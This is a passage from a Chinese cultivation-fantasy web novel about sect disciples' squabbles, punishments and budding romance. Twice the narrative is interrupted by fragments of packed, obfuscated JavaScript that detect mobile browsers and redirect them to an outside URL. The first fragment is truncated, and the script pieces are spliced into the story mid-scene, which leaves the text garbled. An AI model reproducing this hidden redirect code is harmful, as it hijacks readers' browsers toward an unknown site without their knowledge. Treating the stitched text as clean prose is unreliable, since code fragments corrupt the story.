少时，洛纤凝总爱拿虫子吓唬他和大师兄，甚至跑去翠竹峰吓唬林惜英，趁琼芳长老闭关的时候，追着林惜英满翠竹峰跑。终于有一天，林惜英被她吓得一病不起，琼芳长老一怒之下将她拎去翠竹峰反省了整整三个月，她这才舍得收敛。 从小到大，她总是这样，无所事事，整日将精力用来研究那些虫子和鸟，普天之下，恐怕也就只有她，才会让一条小小的虫子和一只小小的鸟儿露出可怖的笑脸。但偏偏她人又聪明，很多法术他和大师兄要学整整一天甚至很多天才能学会，而她不到半天就能学会，简直令他羡慕得要死。师父曾言:“倘若阿凝勤奋一些，别说你了，就连你大师兄和林师妹恐怕都不是她的对手。” “大师兄，你就不能对我温柔一点嘛？”洛纤凝用一种极其幽怨的眼神瞪着柳惜朝，仿佛方才做错事的不是她，而是柳惜朝。 柳惜朝哭笑不得:“我对你温柔，谁来对我温柔？阿凝，马上消失在我面前，再敢跑来这里捣乱，我一定告诉师父，让他好好罚你。” “……哦。”洛纤凝故作不情愿地迈开腿，冲沐灵泽露出一个鬼脸，随后哼着小曲儿朝自己的房间走去，准备回去继续睡大觉。 眼瞅着洛纤凝越走越远，沐灵泽很是不满地问柳惜朝:“大师兄，她把我吓成这样，你就这样让她走了？” 柳惜朝正欲开口，陆惜名便抢先道:“沐师弟，堂堂男子汉，气量不要那么小嘛，再说了，她从那么高的树上摔了下来，也算受到惩罚了。好了都别看了，我们继续！” 沐灵泽:“……” 偏心，明目张胆的偏心！不行，他一定要想个办法狠狠地……罢了，还是不与她计较的好，万一又被掌门发现他在“欺负”她，那他十有八九要被踹下长绝山了。他还没有见过琼芳长老的真容呢，可不能就这样被踹下山去。 男子汉大丈夫，他忍了！ 7. 轻狂7 午修时分，休息间隙，柳惜朝与陆惜名为新弟子答疑解惑，沐灵泽无聊地随意乱走着，不经意间望见洛纤凝在远处的一块大石头上打坐，神色很是正经，忽然觉得，这人正经起来竟给人一种仙风道骨的感觉，就像他梦里的那个女子一样，是他想多了么？ 他抱着剑在原地转来转去，三转两转，不知怎的，就转到了那块大石头底下，仰起头，眼巴巴地望着石头上的人。 听到脚步声，洛纤凝睁开眼睛往下瞥了一眼，冷冰冰道:“干嘛？有事儿？” 莫非是想打她？不过大师兄和二师兄就在前面，量他也不敢乱来。 沐灵泽低下头盯着地上的草，绞尽脑汁地思考着，心想他怎么走着走着就走到这儿了？不过来都来了，说些什么好呢？ 对了！他仰头看她，问道:“我听他们说，长绝山的掌门和长老不能娶妻嫁人，这是为何？” “这事儿啊？”洛纤凝想了想，道:“这跟天上的神仙不能动情是一个道理。” “那天上的神仙又为何不能动情？” 神仙为何不能动情？洛纤凝使劲回想着，终于想起了前些年去翠竹峰找林惜英时，偷听到的一段对话。 那时，林惜英颇为好奇地问琼芳长老:“师父，我听他们说，神仙不能动情，这是为何？ 她记得，琼芳长老当时是这样回答的，她说:“神仙若动情，子子孙孙无穷尽也，即便无子孙，也会心有所偏，届时凡人将再难成仙，祸乱也会无穷尽也。” 她将琼芳长老的话重复了一遍，又补充了一句:“我们长绝山是培养仙人的地方，再加上初代掌门又是仙，自然要向天上的神仙看齐了。” 原来如此。沐灵泽讶然道:“那这么说，当神仙得断情绝爱？那怎么行？！那我还是当凡人吧！” 断情绝爱，他可做不到这点，他将来一定要找一个和他志趣相投的姑娘，一起共度余生，白头偕老。 “你傻呀？！”洛纤凝甚是鄙夷地看着他，“当凡人有什么好？长生不老，不会生病不会死，难道不是天大的好事么？情情爱爱能当饭吃么？” “……也对哦。”沐灵泽恍然大悟，“那这么说，琼芳长老不会老，也不会生病，更不会死？那这也太好了吧！那我还是当神仙吧！” “你蠢啊？！”洛纤凝甚是嫌弃地看着他，“神仙是你说当就能当的么？要是这么容易，那为何都五百多年过去了，长绝山只有初代掌门和琼芳长老两个修成了仙身？” “那、那怎么办？！”沐灵泽一脸茫然地盯着洛纤凝，心想这也不行，那也不行，那到底该怎么办？ 洛纤凝闭上眼睛，道:“好好修炼呗，还能怎么办？” “……哦。可是好好修炼也不一定能成仙啊？” “那就没办法了。”洛纤凝扁扁嘴，随即眼角眉梢闪过一丝骄傲，道:“琼芳长老说过，整个长绝山，就属我的资质最好，将来若是足够勤奋，足够心无旁骛，假以时日，定能修成仙身！没准还能修成天仙，到时就能到天上去！嘻嘻！”话虽如此，但只要一想到将来可能要和琼芳长老一起上天做神仙，她就觉得瘆得慌。 正瘆得不行，就听沐灵泽大呼小叫道:“什么？！” 竟有此事？！沐灵泽深感震惊，不知怎的，鬼使神差道:“那你修成天仙去了天上，我怎么办？！” 洛纤凝被沐灵泽这话吓得一个激灵，险些从石头上滚了下来。她睁开眼睛，用一副活见鬼的表情看着他，问道:“什、什么你怎么办？” 她修成仙去了天上，干他何事？莫非他喜欢她，舍不得她？可是他们才认识几天啊？她的魅力如今已经这么大了么？ 意识到自己言语不妥，沐灵泽慌忙摆手道:“不不不，我的意思是，我……们长绝山怎么办？你舍得离开我们么？” 这样啊。洛纤凝思忖片刻，道:“等我修成天仙，至少也是几百年后的事了，到时你们早就已经死翘翘了，有什么舍不得的？” “……也对哦。”沐灵泽支着下巴，盯着脚下的小草，认真思考起了修仙这件人生大事。他当然也想修成仙了，可是他又舍不得摒弃七情六欲，而且即便摒弃了七情六欲，也不见得能修成仙。 唉，真是令人发愁啊，做人真是太难了！ 洛纤凝斜眼看着沐灵泽，觉得他这个样子很是可爱，很有必要再捉弄一下。她跳下石头，拍了拍他的肩膀，故意逗他道:“沐灵泽，你可千万不要告诉我你喜欢我，虽然我这个人很有魅力，但是！我将来可是要修成仙的，没有时间谈情说爱。而且琼芳长老说了，感情这东西是会变的，但长生不老不会死这件事，是不会变的。”说罢仰天大笑，扬长而去，“哈哈哈哈！我吃饭去了，就不陪你瞎聊了，我们改天见！” 沐灵泽盯着洛纤凝雀跃且嚣张的背影，愣了好长时间才回过神来，扯开嗓门大声喊道:“我喜欢你？！洛纤凝！你做梦去吧！还魅力？你有什么魅力？！你的魅力还没这块石头大！吃吃吃，这才什么时辰，你就去吃饭？！还有你那笑声，哪家的姑娘跟你似的，笑声这么粗犷？！” 然而这些话，洛纤凝一个字都没有听见，蝴蝶一般飘进了膳堂，在后厨逛了一圈，和饭大师们唠了几句之后，端着一大盘香喷喷的鸡腿溜了出来，趴在桌上大口大口地啃了起来，边啃边道:“女孩子要多吃些，才有力气修炼，打坏蛋！话说师姐她们怎么从来不吃肉？害得我每次去翠竹峰蹭饭的时候都蹭不到肉。唉，八成是被琼芳长老给传染的。女孩子不吃肉怎么行呢？真是的……” 那一头，沐灵泽又念叨起了他仰慕已久的琼芳长老。方才听洛纤凝又提起了琼芳长老，他迫不及待地想见见这位传说中的仙人，想知道她究竟长什么样，是不是真的像话本中所写的那样，仙气飘飘的？不过琼芳长老外出云游未归，要不他去看看她的住处，沾沾仙气也好。上次光顾着陪沐辰风看林惜英了，都没来得及看些别的，就被洛纤凝赶下了峰。 打定主意后，傍晚时分，他匆匆扒完晚饭，拉着沐辰风就要往翠竹峰跑，怎料沐辰风拽住他道:“阿泽，我想了想，我还是不去了，你自己一个人去吧，我可不想再被那个洛纤凝扇耳光了。我回屋歇着去了，我们明天见。” “……不去算了，我自己一个人去！” 他鬼鬼祟祟地溜上了翠竹峰，期间，有好几名女弟子向他投来异样的眼光，他都假装没看见。走了一段路后，他恍然大悟，自言自语道:“我又不是去做贼，干嘛老弯着腰？难怪那些女弟子老盯着我看，这换谁谁不盯着我看？”他扬起手，给了自己一个轻轻的耳光，随后挺了挺腰板，大步流星地往前走去。然而当行至那巍峨的大殿前时，他还是弯下了腰，后退了几步，躲在了一块大石头后面。 他想起了方才在膳堂吃饭时，那些师兄们的闲言碎语。他们在讨论长绝山哪个女弟子长得最好看，身材最好: “这还用问么？那肯定是林师姐最好看啊！身材也好，那……” “你小点声，小心让琼芳长老听见了，抽出她的绝命剑把你削成秃子！” “你失忆了？琼芳长老不是外出云游去了么？” “……对唉，不过还是小点声吧，万一她突然回来了怎么办？” “怕什么？！依我看，还是唐师妹最好看，温柔，善解人意，不像林惜英那没礼貌的东西，见了师兄我连招呼都不打，什么玩意！” “夏师兄，我们讨论的是哪个最好看，身材最好，你跑题了……” “我就觉得她最好看！怎么了？！” “嘘！都别说了，大师兄和二师兄进来了！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286985|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 在此期间，他看见沐辰风的脸上露出了不悦的神情，但没办法，说这些话的人好像是赤霞峰的弟子，其中有一个好像叫什么夏长殷，是扶光长老座下的二弟子，长绝山的四师兄，平日里和卫长颂一起教沐辰风他们剑术与法术，得罪不得。 只是没想到，此人的嘴脸竟如此恶心，亏他还是长绝山的四师兄呢。当然了，其他弟子也没好到哪儿去，光天化日之下，公然讨论女弟子的相貌与身材，简直是门规当中的德行有失之人！真不知道扶光长老平日里怎么教导的弟子，据沐辰风说，除了三师兄卫长颂以外，赤霞峰其余的男弟子几乎没有不在背后嚼人舌根的！ 他望着殿门上高高悬挂的“无欢殿”三个大字，喃喃道:“无欢殿，绝命剑，这都什么名啊，太晦气了……” “你说谁晦气？”一个凉入骨髓的声音蓦地自身后响起，吓得沐灵泽膝盖一软，竟直接跪在了地上。他痛呼一声，摸了摸自己受伤的膝盖，调转脑袋，怒气冲天道:“你你你……你谁啊大姐？！” 这人怎么跟洛纤凝似的，神出鬼没，突然出现在他身后，想吓死他啊？！ “师父！师姐！你们回来了！！” 就在这时，冯惜缘欢快愉悦的声音飘进了他的耳朵里，令他浑身一震，如遭雷击。 师父？！莫非她就是传说中的琼芳长老？！ 这也太年轻了吧？顶多也就三十岁的样子，虽然模样一般，但这通身的气度，果真如洛纤凝所说，与林惜英一模一样，浑身冒着冷气，身板比松树还挺直，头发也是黑的，正居高临下如看蝼蚁一般看着他，像是随时欲将他捏死……等等，他方才叫她什么？大姐？坏了！ 他慌忙手脚并用地从地上爬了起来，掸了掸衣衫上的灰尘，拱手道:“弟子缥缈峰沐灵泽，倾慕琼芳长老……不，仰慕琼芳长老已久，一直无缘得见，今日有幸窥见真容，果真是……仙风道骨，天人之姿！方才多有得罪，还望琼芳长老海涵，莫要同弟子计较！” 听见“倾慕”二字，跟在琼芳身后的唐惜柔没忍住笑出了声，冯惜缘年纪小，更是“咯咯”笑个不停。 琼芳眉心一蹙，问道:“可是新入门的弟子？” 沐灵泽恭敬地答道:“正是。” “那你如今看见了，可以走了。”琼芳扔下这句话，转身欲走，余光瞥见什么，立刻止住脚步喊道:“洛纤凝！见了长老不过来问声好，跑什么？！” 洛纤凝被这突如其来的声音吼得浑身一抖，悬在半空中的一只脚也“腾”的一声落回了地面。她回过身，嘻嘻一笑，一步一步、磨磨蹭蹭地朝琼芳走了过去，磕磕巴巴道:“琼芳长老，您……这么快……就……回来了？” 她刚溜上翠竹峰，想找林惜英和冯惜缘玩，顺便把昨夜没编完的鬼故事强行给冯惜缘讲完，不成想正跳得欢快，就远远地望见了琼芳长老。 真是来不逢时。话说这人的眼神也太好了吧？隔着这么远都能看见她？ 望着迎面走来且扭扭捏捏的洛纤凝，沐灵泽摸着下巴，心道:“这个洛纤凝，平日里无法无天，连掌门和大师兄都管不了，还以为她谁都不怕呢。” 正幸灾乐祸着，就听琼芳长老冷声冷气道:“怎么，你好像很不希望我回来，可又是欺负惜英了？” “没有没有！”洛纤凝连连摆手，“我和师姐相处得非常愉快，不信您问惜缘师妹，她可以替我作证！” 她早就改“欺负”惜缘了，而且以她对惜缘的了解，她是绝对不会舍得向琼芳长老告发自己的。 见琼芳的目光落在了自己身上，冯惜缘迟疑片刻后，立马点了点头，表示洛纤凝并未撒谎。 “那就好。”琼芳半信半疑地看了眼洛纤凝，拔腿朝无欢殿走去，唐、冯二人紧跟了上去。 8. 轻狂8 人都走远了，沐灵泽还巴巴地望着，不肯离开。洛纤凝盯着他那痴痴的侧脸，忽然，眼珠一转，凑了过去，对准他的耳朵猛吹了口气，并提高声音道:“看什么呢？！” 这一吹，吹得沐灵泽如淋了雨的小狗一般，使劲甩了甩脑袋，紧接着抱住自己的双臂，朝后缩了一步，道:“你你你……你干嘛？洛纤凝！你调戏我！！” “……我调戏你？”洛纤凝没料到他会冒出这么一句，笑得险些背过气去，“我眼瞎啊，调戏你这个小丑八怪？切！”说罢递给他一个不屑的眼神，转身朝缥缈峰走去。 沐灵泽登时不高兴了，迈着小碎步追了过去，粗声粗气道:“你说谁小丑八怪？！有本事你再说一遍！” 洛纤凝冲他扮了个鬼脸，道:“说你呢说你呢！小丑八怪，小丑八怪！你能把我怎么样啊？小丑八怪！” “你……罢了，好男不跟女斗！不理你了！” 两个人大摇大摆地往缥缈峰走去，中间仿佛隔着一条银河。走了没多久，余光瞥见沐灵泽低着头，笑得那叫一个欢快，洛纤凝忍了又忍，终是没有忍住，刹住脚步问道:“沐灵泽，你笑什么呢？！” 她的直觉告诉他，他一定是在笑她！ 沐灵泽长叹一口气，仰头看向天空，悠哉悠哉道:“某些人整日一副天下第一的样子，我还以为她天不怕地不怕呢，看来是我想多了。唉，不过如此嘛！”他一边说着，一边摇着头，突然，耳边传来“铮”的一声，他侧首一看，原来是洛纤凝抽出了自己的佩剑，并用一种很是阴毒的目光看着他…… 他陡然一惊，朝后跳了一步，道:“你你你……你又要干嘛？长绝山禁止私下斗殴！你不要乱来！！” 洛纤凝唇角一弯，笑得不怀好意:“寻常切磋而已，怎么能叫斗殴呢？看招！” “切磋是需要两个人都同意的，且有第三者在场，你这叫斗殴！我要告诉掌门，让他狠狠罚你！”沐灵泽身子往后一倾，以足根撑地，堪堪躲过了一剑，旋即施展轻功朝缥缈峰飞去，怎奈何洛纤凝很快就追上了他，他只好拔出破空剑挥剑抵挡。 两个人就这样又打了起来，从翠竹峰一路打到缥缈峰，引来围观的弟子无数，而这其中正好包括柳惜朝。 见两人打得面红耳赤，柳惜朝急忙上前喝道:“住手！你们两个干什么呢？！” 寻常切磋与打架斗殴，他作为大师兄，一眼就能看出来。 洛纤凝收了剑，正想说他们在切磋，怎料还没来得及开口，沐灵泽就急冲冲地朝柳惜朝扑了过去，躲在柳惜朝身后告状道:“大师兄，你管管洛师姐，我不过就是说了一句话惹她不高兴了，她就追着我一直打！我的手都快被她打抽筋了！” 洛纤凝翻了个白眼，心道:“完了，此人绝对没有将门规从头看到尾，若说是切磋，即便无第三者在场，也会少挨些罚，这下好了，直接变成斗殴了。” 无妄殿内，洛逍看了眼洛纤凝，又看了眼沐灵泽，最终又看向洛纤凝，深深地叹了一口气，道:“阿凝，为师跟你说过多少遍了，不可打架斗殴，不可打架斗殴！你为何总是拿我的话当耳旁风？！前些时日刚和赤霞峰的弟子打完，今天又和新弟子打，你眼里还有没有我这个师父？！罚你二人各抄门规一百遍！” “什么？！我二人？！”沐灵泽瞪大了眼睛，脸现惊讶之色，以为自己听错了。 怎么他也要抄？他严重怀疑洛逍公报私仇！ “对！你二人！你有什么意见么？！”洛逍盯着沐灵泽的眼睛，语气十分的不善，像是要将他吃掉。 沐灵泽喉咙翻滚了一下，但还是道:“为什么？明明是洛纤凝……明明是洛师姐她先动的手！” 柳惜朝道:“沐师弟，你还手了么？” 废话！沐灵泽道:“这还用问么？她要打我，我当然得还手了！” “那就对了，既然还手了，你也得领罚，长绝山的规矩便是如此，你没有将门规从头看到尾么？” “……不是吧？”沐灵泽看了眼一旁幸灾乐祸的洛纤凝，见她朝自己耸了耸肩，更气了！“你们长绝山到底什么破……什么规矩？她要打我，我不还手，难道要站在那儿任她打啊？！” 柳惜朝深觉沐灵泽此言有理，又见他一副脸红脖子粗的模样，有些于心不忍，思索片刻，道:“这样吧沐师弟，念在你是新弟子的份上，你抄八十遍，这样总可以了吧？”说着看向洛逍，见他点了点头，又道:“好了，此事到此为止，你们两个都下去吧，切记日后不可再像今日一般冲动。” “……” 走出无妄殿，沐灵泽很是气愤道:“我不在这破地方待了，我要回家！” 那一千八百条门规，别说抄八十遍，抄八遍他都不愿意！哪个门派跟他家似的，这么多破规矩！ 洛纤凝闻言，肩膀一缩，偏头看他:“什么？你要走？怪舍不得你的。” 嗯？舍不得他？不知为何，明明方才他还很是生气，觉得是她连累了他，此刻听见她说舍不得他，竟莫名有些开心。他满是期待地看着她，连说话的语气都变温柔了，问道:“你……舍不得我？” “对啊。”洛纤凝大大方方地承认道，“你要是走了，我欺负谁去？” “……” “喂喂喂，你干嘛用这种眼神看着我？算了，好女不跟男斗，我回去抄门规去了，再见。”说罢负着手，迈着嚣张的步伐头也不回地走了。 “……我就知道，人嘴里吐不出象牙！”沐灵泽握紧拳头，对着洛纤凝的背影拳打脚踢了好一阵，这才闷闷不乐地朝自己的房间走去。 次日下午。 “最烦抄东西了，谁来救救我？呜呜呜，早知道就不和那个丑八怪打了……”房间内，洛纤凝握着笔杆，抄写着那烦人的一千八百条门规，抄着抄着，她捏起笔杆朝后一扔，仰面躺在地上睡起了觉，却不料那笔在半空中旋转了一圈后，直直地砸到了她的脸上。 “啊！”洛纤凝惨叫一声，从地上爬了起来，抓起笔朝外扔去，“死笔！连你也要欺负我！！” “跟一支笔置什么气？”林惜英刚走到屋外，就见一支笔从里飞了出来，她拾起笔，提起衣摆迈进屋来。 “师姐？！”洛纤凝眼前一亮，连滚带爬地扑上去抱住林惜英的胳膊，开口就问:“师姐你怎么来了？你是来帮我抄门规的，对不对？” “……” 望着洛纤凝满怀希冀的眼神，和脸上未干的墨迹，林惜英觉得，她来得很不是时候。 她将笔放在书案上，轻咳一声，道:“我突然想起来，师父方才说要考校我剑术，我先走了。” “哎，师姐，你别走呀！” “我真的有事，你自己抄吧，乖。” “不行！” “阿凝你松手！” “我不！” “你……” 两个人拉拉扯扯出门去，一扭头瞥见柳惜朝正站在不远处盯着她们笑，不禁一怔。 “呀！”像是突然想起了什么要紧事，洛纤凝大叫一声，松开了林惜英的胳膊，“我回屋抄门规去了，师姐，大师兄，你们俩慢慢聊。” 林惜英尚未回过神来，洛纤凝已跟只老鼠似的窜进了屋，并将门紧紧关上。 “阿……”林惜英杵在原地无声地骂了洛纤凝两句，这才转身看向柳惜朝，“大师兄，你这会儿……不应该在教新弟子么？” 柳惜朝走到她跟前，笑容和煦似春风:“有惜名在，我来看看阿凝在做什么，有没有好好反省。你不知道，她昨天又和那个叫沐灵泽的新弟子打在了一起，师父罚她抄门规。” 林惜英点点头，道:“那大师兄去看阿凝吧，我就不打扰你们了。”语毕，迈开腿，与柳惜朝擦肩而过。 “惜……”柳惜朝还想再说些什么，一转身发现林惜英已迈出好几步，只好打住。 他心情郁闷地推开门，走进洛纤凝的房间，当看到洛纤凝笔下那寥寥数字时，心情更郁闷了。 “洛纤凝！”他指着窗外快下山的太阳，面色肃然道，“你抬头看看，太阳就快落山了，从昨天傍晚到现在，整整一天都过去了，你就抄了二十条？！” “哪有整整一天？！从昨天傍晚到现在，分明是……半天多一点点，再多一点点嘛！”洛纤凝放下笔，掐着手指，锱铢必较道。 柳惜朝实在没忍住，拿起笔，不轻不重地敲在她的脑袋上。 “啊！”洛纤凝假装一副很痛的样子，脑袋往下一垂，额头轻轻地磕在了书案上，气息微弱道:“我死了。” 柳惜朝瞪她一眼，盘腿坐下，毫不留情地发布命令道:“少给我装死！起来！继续抄！我倒要看看，你到底是怎么抄的，跟只乌龟似的，乌龟都没你这么慢！” 洛纤凝额头贴在书案上，眼珠一阵乱转，突然，她抬起头，双手撑着下巴，一脸好奇地盯着柳惜朝:“大师兄，你和师姐到底什么情况，给我讲讲呗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286986|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳惜朝抬眼看她:“什么什么情况？小孩子家家的，少过问这些事。” “什么叫小孩子？！”洛纤凝一掌拍在书案上，昂首挺胸，中气十足道:“大师兄，你是不是忘了，我只比师姐小一岁！你前几天还说我是大姑娘，今天又说我是小孩子，你表里不一！哼！” “我表里不一？”柳惜朝被这始料未及的一句话逗得险些笑出声来，“我怎么又表里不一了？你知道表里不一是什么意思么？” “我不管！大师兄，你给我讲一讲嘛，你将来到底要不要当掌门？你要是当掌门的话，就不能和师姐在一起了。”洛纤凝急切地问道。对于未来的掌门人选一事，她比谁都关心。 一想到将来可能要继任掌门之位，从此不能娶妻，柳惜朝就很是惆怅。他叹了口气，低下头道:“惜英她将来是要继承琼芳长老衣钵的，即便我不当掌门，也是无法和她在一起的。其实，我只是想想罢了，从来没敢奢望能真的和她在一起，毕竟我心里清楚，她根本就不喜欢我，我也……配不上她。” “什么叫配不上？！”柳惜朝话音刚落，洛纤凝就急不可耐地站起身来冲他吼道，仿佛柳惜朝口中配不上林惜英的那个人是她自己似的，“大师兄也太瞧不起自己了！大师兄可是我见过的，这世间最好最好的男子！” 最好的男子？柳惜朝眉心一蹙，又是好奇又是好笑，问洛纤凝:“你连长绝山都没出去过，怎知我就是这世间最好的男子？” “我不管，你就是！”洛纤凝跳到柳惜朝身边，抱住他的胳膊，开始了她的长篇大论:“我看话本里的那些男人没有一个是才貌双全的，更有甚者，又穷又丑又没才华，但那些千金大小姐还有天上的仙女偏偏就是瞎了眼，只看上了他们！尤其是天上的仙女，竟然舍得抛弃神仙的身份和长生不老的本事下凡去给那些凡人生儿育女洗手作羹汤！ “我就奇了怪了，天上的仙女是没见过男人还是怎么回事？好不容易修成仙，又跑去人间去当凡人，老天爷就应该一道天雷劈死她！还有那些癞蛤蟆想吃天鹅肉、把神仙拽下神坛的人，更应该劈死！永世不得超生！真正喜欢一个人，怎么舍得把她拽下神坛嘛！ “我看这些故事十有八九都是那些考不上状元的穷书生瞎编的！这哪里是才子佳人？分明就是人入魔窟！简直比鬼故事还可怕！天上的神仙要是都这么蠢，一把年纪了还看不透所谓的情爱，动辄为了一个人便要死要活，那三界早就完蛋了！你看看琼芳长老，她像是为了一个男人要死要活的人么？她会为了一个男人放弃自己历经千辛万苦才修来的仙身跑去洗手作羹汤么？她一个地上的仙都不会，更别提天上的仙了！” 洛纤凝越说越激动，说到此处才意识到，自己好像偏题了，于是清了清嗓子，道:“话说回来，大师兄可与那些一无是处只会做白日梦的穷书生不一样，大师兄长得好看，功夫高，脾气好，德行更是没得挑，谦虚，有礼，路见不平，就拔刀相助！这世上除了大师兄，没有人能配得上师姐！” 柳惜朝此前一直觉得自己平平无奇，也就功夫比各位师弟师妹略高一些，今日听洛纤凝这么一对比，忽然觉得，自己好像还挺完美，挺讨人喜欢的。话说这小姑娘，年纪轻轻，懂得倒是挺多，看来他日后不用担心她会被男人骗了。 他望着自己最疼爱的师妹，正深感欣慰，满眼慈爱，然而下一瞬，就听她话音一转，道:“所以大师兄，你加把劲，将来带着师姐下山自立门户去吧，或者你找个别的姑娘也行，最好给二师兄也找一个，这个掌门就交给我来当吧，哈哈哈哈……” 柳惜朝:“……” 他就知道，她怎会如此好心地夸他。 不等她笑完，他便揪住她的耳朵，往上一提，没好气道:“我说你今天怎么舍得浪费这么多口水夸我，原来是想把我夸下山，好自己当掌门。” 洛纤凝心道:“不好，说漏嘴了。”随即抓住柳惜朝的胳膊挣扎道:“哎呀大师兄，你怎么能这么想我呢？我都是为了你好！俗话说得好，只羡鸳鸯不羡仙！人活一世，当然是怎么开心怎么活了，对不对？再说当掌门有什么好的？天天待在山上，多无聊啊，也就比别人威风了那么一点点……” “好好抄门规，过几日我来检查！”懒得听她胡言乱语，柳惜朝扔下这句话，起身迈出了房间。 洛纤凝:“……我这张嘴啊，真是太不牢靠了。不过大师兄不会亲自盯着我抄门规了，嘻嘻，我真聪明。” 9. 轻狂9 洛纤凝窝在自己的房间里，安安分分地抄了几日门规后，深感无聊。这天早上，她一觉睡到自然醒，匆匆洗了把脸后，偷偷摸摸地窜上了翠竹峰，在竹林外四处张望着，瞥见冯惜缘从外走来，便喊住她问道:“惜缘，林师姐呢？怎么是惜柔师姐在教新弟子？” 冯惜缘递给洛纤凝一个大大的白眼，答道:“林师姐在后山陪师父下棋呢。唐师姐你还不知道嘛，永远都闲不住，师父索性就将新弟子交给她了。” “……哦。” 冯惜缘走后，洛纤凝又瞄了一眼竹林里正在教新弟子剑法的唐惜柔，自言自语道:“这惜柔师姐也太勤奋了吧？怎么还抢着干活呢？跟二师兄似的。我躲都来不及。” 唉，真是惭愧啊！反正也没事干，去后山瞅一眼。 于是慢悠悠地调转了方向，边走边捂着肚子道:“哎呀，饿了，好像该吃饭了。正好，叫上师姐一起！” 后山，瀑布如练，绿草如茵。洛纤凝猫着腰，在巨大的水流声中，轻手轻脚地窜到了一块大石头后面，眺望着亭下正在下棋的两个人，啧啧叹道:“这师徒俩，简直太像了，连坐姿都一模一样。优雅，真是太优雅了。此情此景，好想吟诗一首，作画一幅……” “鬼鬼祟祟，倒是有做贼的潜质。”琼芳落下手中的白子，神色淡然道。 林惜英执起一颗黑子，微微一笑，道:“阿凝一向如此，见了师父，好似撞鬼一般，不见师父，又好像很无聊似的。” 琼芳听罢，唇角微不可察地动了一下，半晌后道:“无法无天，欠管教罢了。”说罢执起一颗棋子，夹在两指之间…… 瞥见两个人嘴唇翕动，像是在说些什么，洛纤凝竖起耳朵，将脸贴在石头上，想听听两个人在说什么，有没有说她的坏话，但由于离得太远，什么都没有听到。 她放弃了，收回耳朵，靠在石头上嘀咕道:“真不知道下棋有什么好玩的，一点意思都没有，一下就是大半……” 话未说完，只听“嗖”的一声，洛纤凝背后一痛，迎面扑倒在了地上，吃了一嘴的草。 “哎哟！”她捂着受伤的后背，大叫一声，吐出嘴里的纤弱小草，回头一看…… 果不其然，是一颗小小的棋子，如箭矢一般，穿透了坚硬无比的石头，安然无恙地躺在地上。 可怜的石头，就这样被穿透了前胸和后背，留下了一道深深的伤痕。 洛纤凝不禁在心里愤愤然道:“这个琼芳长老，真是太恶毒了！万一这棋子也穿透了我的前胸和后背可怎么办？！” 她从地上爬了起来，正欲破口大骂，与某人撕破脸，怎料刚站起身就看见某人一动不动地站在亭下瞪着她，眉头轻蹙，一脸怨气，像极了话本里的黑白无常。 她登时一怵，皮笑肉不笑地冲亭下的人挥手道:“琼芳长老，师姐，你们好呀，真是好巧啊，在这里碰见你们。” 琼芳冷冷地瞥了洛纤凝一眼，拔腿走下凉亭，没走几步便化为了一道蓝光，消失在了两个人的面前。 洛纤凝松了口气，跳到林惜英身旁，抓住她的胳膊嚷道:“师姐！你整日和琼芳长老待在一起不害怕么？你看她，一天天的，就知道瞪人！” 林惜英偏头看她，反驳道:“不许这么说我师父，她只是喜欢瞪你们罢了，可从未瞪过我。” “……” 她要是连你都瞪，岂不是太没人情味了。 “那……她还用棋子打我！疼死我了！”洛纤凝跺脚道。 “她就是想和你开个玩笑罢了……” “哪有她这样开玩笑的？！我昨晚吃得鸡腿都快被她打出来了！！”洛纤凝气呼呼地将脸别去一边，像个小孩子似的，期盼着林惜英能哄哄她。 果然，林惜英听了这话，没忍住笑了起来，双手抱拳，作赔礼状道:“我替我师父向洛女侠赔个不是，恳请洛女侠大人有大量，原谅我师父的任性，可好？” 洛纤凝这才肯罢休，下巴一扬，趾高气扬道:“这还差不多！看在你这么诚恳的份上，那我就勉为其难地原谅她吧！”又重新抱住林惜英的胳膊，“该吃饭了师姐，我们去吃饭吧！今天不去你们翠竹峰的小厨房了，去大膳堂吧，人多热闹嘛。”说罢也不管林惜英愿不愿意，拉着她就往膳堂走去。 膳堂一楼，沐灵泽和沐辰风正嘎嘣嘎嘣啃着鸡骨头，就听见一阵喧哗声从门口传了过来。 “林师姐？！你们快看！林师姐来膳堂了！！” “林师姐？！”沐辰风闻言，脊背瞬间挺直，伸长脖子看向门外，口中的鸡骨头也不嚼了。 来长绝山好多天了，还从未见过林惜英来膳堂吃饭。听师兄们说，翠竹峰虽小，却有着自己的厨房，平日里那些女弟子都是自己做饭自己吃，只有偶尔懒得做饭的时候才会来膳堂，甚至有时候她们压根不吃饭，美其名曰“辟谷”。 沐灵泽也伸长脖子朝外张望着。他虽然对林惜英没有别的想法，但爱美之心，人皆有之，谁不喜欢看美人儿呢？尤其是林惜英这样倾国倾城的美人儿，多看一眼，口中的白米饭都是香的。然而当他看见林惜英姿态优雅地从门外跨了进来，身后还跟着一个大摇大摆的少女时，他弯起的唇角瞬间变得笔直，像见了瘟神似的，迅速低下头，心中默念道:“看不见我，看不见我……” 饶是如此，洛纤凝“歹毒”的目光还是扫到了他的身上，不过须臾，便端着饭菜蹦到了他的面前，故作惊讶道:“呀！这不是沐师弟么？好巧啊，你也来这里吃饭？你也爱吃鸡腿？！” “……” 